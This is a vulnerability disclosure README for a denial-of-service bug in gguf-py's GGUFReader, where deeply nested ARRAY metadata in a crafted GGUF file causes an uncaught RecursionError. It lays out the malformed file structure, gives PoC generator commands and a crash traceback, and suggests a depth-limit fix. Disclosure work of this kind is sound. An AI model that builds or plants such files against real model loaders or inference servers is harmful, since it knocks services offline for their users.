EnigmaConsultant's picture
Upload README.md with huggingface_hub
425328a verified
|
Raw
History Blame Contribute Delete
8.21 kB

Uncontrolled recursion (CWE-674) in gguf-py GGUFReader._get_field_parts via nested-array KV metadata β†’ uncaught RecursionError DoS

Severity: Medium (availability / denial-of-service on model load) Category: Malformed model file β€” GGUF ($4k format), metadata KV parser Weakness: CWE-674 Uncontrolled Recursion β†’ uncaught RecursionError

Affected software

  • Package: gguf (gguf-py, part of the ggml-org/llama.cpp project) β€” version 0.19.0 (pip)
  • File: gguf/gguf_reader.py, function GGUFReader._get_field_parts() (lines 221–257)
  • Tested environment: gguf 0.19.0, numpy 2.5.1, CPython 3.13.12, default sys.recursionlimit = 1000, Linux x86-64

Summary

GGUFReader._get_field_parts() parses an ARRAY-typed metadata KV value by reading the array's element type (raw_itype, a uint32 read straight from the file) and its length, then recursing into _get_field_parts(offs, raw_itype[0]) for every element. The element type is itself attacker-controlled and may equal GGUFValueType.ARRAY (value 9), producing self-recursion with no nesting-depth limit and no validation.

Recursion depth equals the file's array-nesting depth, and each level costs only 12 bytes (u32 element-type = ARRAY + u64 count = 1). Once depth exceeds Python's recursion limit (~1000), an uncaught RecursionError is raised and propagates out of GGUFReader.__init__ (via _build_fields β†’ _get_field_parts), crashing any caller that opens the file. A ~60 KB file (depth 5000) is enough to guarantee the crash regardless of a raised recursion limit.

Root cause

gguf/gguf_reader.py, lines 238–255 (the # Handle arrays. branch):

# Handle arrays.
if gtype == GGUFValueType.ARRAY:
    raw_itype = self._get(offs, np.uint32)      # element type β€” attacker-controlled
    offs += int(raw_itype.nbytes)
    alen = self._get(offs, np.uint64)           # element count β€” attacker-controlled
    offs += int(alen.nbytes)
    aparts: list[npt.NDArray[Any]] = [raw_itype, alen]
    data_idxs: list[int] = []
    # FIXME: Handle multi-dimensional arrays properly instead of flattening
    for idx in range(alen[0]):
        curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
        #                                              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        #   raw_itype[0] can be GGUFValueType.ARRAY (9) β†’ unbounded self-recursion
        if idx == 0:
            types += curr_types
        idxs_offs = len(aparts)
        aparts += curr_parts
        data_idxs += (idx + idxs_offs for idx in curr_idxs)
        offs += curr_size
    return offs - orig_offs, aparts, data_idxs, types

The developer-visible comment # FIXME: Handle multi-dimensional arrays properly instead of flattening sits directly above the unguarded recursive loop. Because raw_itype[0] is read verbatim from the file and passed back into _get_field_parts as the element type, an array whose element type is itself ARRAY recurses one level deeper per nesting, with no depth accounting.

Reachability (real callers)

  • transformers β€” transformers/modeling_gguf_pytorch_utils.py:599 reader = GGUFReader(gguf_checkpoint_path), reached via the documented workflow AutoModel.from_pretrained(..., gguf_file="evil.gguf") / AutoModelForCausalLM.from_pretrained(..., gguf_file=...).
  • Direct API β€” any code doing gguf.GGUFReader("model.gguf").
  • Tooling β€” gguf-dump.py / gguf_dump.py shipped with the package.

The crash occurs inside GGUFReader.__init__, i.e. at file-open time, before any tensor data is touched β€” so it triggers on the very first act of inspecting an untrusted GGUF file.

Proof of Concept

gen.py (included) writes a GGUF v3 file: header magic 'GGUF' + version 3 + tensor_count 0 + kv_count 1, then one KV: key 'x', value_type = ARRAY (9), followed by depth repetitions of [u32(type=ARRAY) + u64(count=1)], terminated by [u32(type=UINT8) + u64(count=0)].

python gen.py nested 5000          # writes nested.gguf (~60 KB)
python -c "import gguf; gguf.GGUFReader('nested.gguf')"

Captured evidence (verbatim)

$ ../gguf-venv/bin/python gen.py nested 5000
wrote nested.gguf depth 5000
$ ls -l nested.gguf
-rw-rw-r-- 1 kali kali 60049 ... nested.gguf

$ ../gguf-venv/bin/python -c "import gguf; gguf.GGUFReader('nested.gguf')"
Traceback (most recent call last):
  File "<string>", line 1, in <module>
    import gguf; gguf.GGUFReader('nested.gguf')
  File ".../gguf/gguf_reader.py", line 169, in __init__
    offs = self._build_fields(offs, kv_count)
  File ".../gguf/gguf_reader.py", line 298, in _build_fields
    field_size, field_parts, field_idxs, field_types = self._get_field_parts(offs, raw_kv_type[0])
  File ".../gguf/gguf_reader.py", line 248, in _get_field_parts
    curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
  [Previous line repeated 990 more times]
  File ".../gguf/gguf_reader.py", line 240, in _get_field_parts
    raw_itype = self._get(offs, np.uint32)
  File ".../gguf/gguf_reader.py", line 203, in _get
    arr = self.data[offset:end_offs].view(dtype=dtype)[:count]
  File ".../numpy/_core/memmap.py", line 312, in __array_finalize__
    if hasattr(obj, '_mmap') and np.may_share_memory(self, obj):
RecursionError: maximum recursion depth exceeded
EXIT=1

Negative controls

--- negative controls ---
loaded depth200 ok fields 4                       # depth 200 (< recursionlimit) loads cleanly
NEG CONTROL good.gguf: loaded OK, x = [1, 2, 3]   # well-formed array<uint8> [1,2,3] parses correctly
  • depth=200 (below the recursion limit) β†’ the same code path returns normally with 4 fields.
  • A well-formed single-level array<uint8> value [1, 2, 3] loads and reads back as [1, 2, 3].

This isolates the defect to unbounded recursion depth, not to array parsing in general.

transformers reachability grep

--- transformers reachability grep ---
599:    reader = GGUFReader(gguf_checkpoint_path)

Impact

An attacker who can get a victim to open an untrusted .gguf file (Hub download, model conversion service, CI, inference server auto-loading community GGUFs) causes an uncaught RecursionError that terminates the loader process. The file is tiny (~60 KB for depth 5000) and cheap to craft; raising the Python recursion limit does not help because the depth is attacker-controlled and unbounded. No tensor data required.

Suggested fix

Bound array nesting depth (e.g. pass and check a depth parameter, rejecting beyond a small constant), and/or validate that an array's element type is not itself ARRAY unless an explicit multi-dimensional format is supported. Convert the unhandled deep-nesting case into a clean ValueError (already the pattern for unknown field types at line 257) rather than letting a RecursionError escape.

Dedup note

  • Distinct from public CVEs. Known GGUF-adjacent CVEs are in different components/mechanisms: CVE-2025-2099 / CVE-2025-6921 (transformers Marian/EnglishNormalizer ReDoS β€” different component), CVE-2026-5760 (SGLang GGUF SSTI β€” different library), CVE-2025-66960 (Ollama readGGUFV1String β€” different library, different mechanism). None targets gguf-py _get_field_parts recursion.
  • Distinct from our prior gguf/ggml findings. This is the "R2 nested-array recursion DoS" in the gguf-py parser β€” separate from R1 (gguf-py array-length OOM, gguf-slen-oom-poc), R3 (llama.cpp convert_llama_ggml_to_gguf.py int64-overflow, huntr-poc-ggml-oob), the transformers GGUFTokenizerSkeleton O(NΒ²) tokenizer DoS (huntr-poc-gguf-transformers-dos), the gguf vocab type-confusion, and the tensor-shape div-by-zero findings. Different mechanism (uncontrolled recursion in the KV metadata parser) and different sink (_get_field_parts self-recursion).

Files in this repo

  • gen.py β€” PoC generator (python gen.py nested <depth>; also contains the poc_good control).
  • nested.gguf β€” depth-5000 crash artifact (~60 KB).
  • good.gguf β€” well-formed control (array<uint8> [1,2,3]).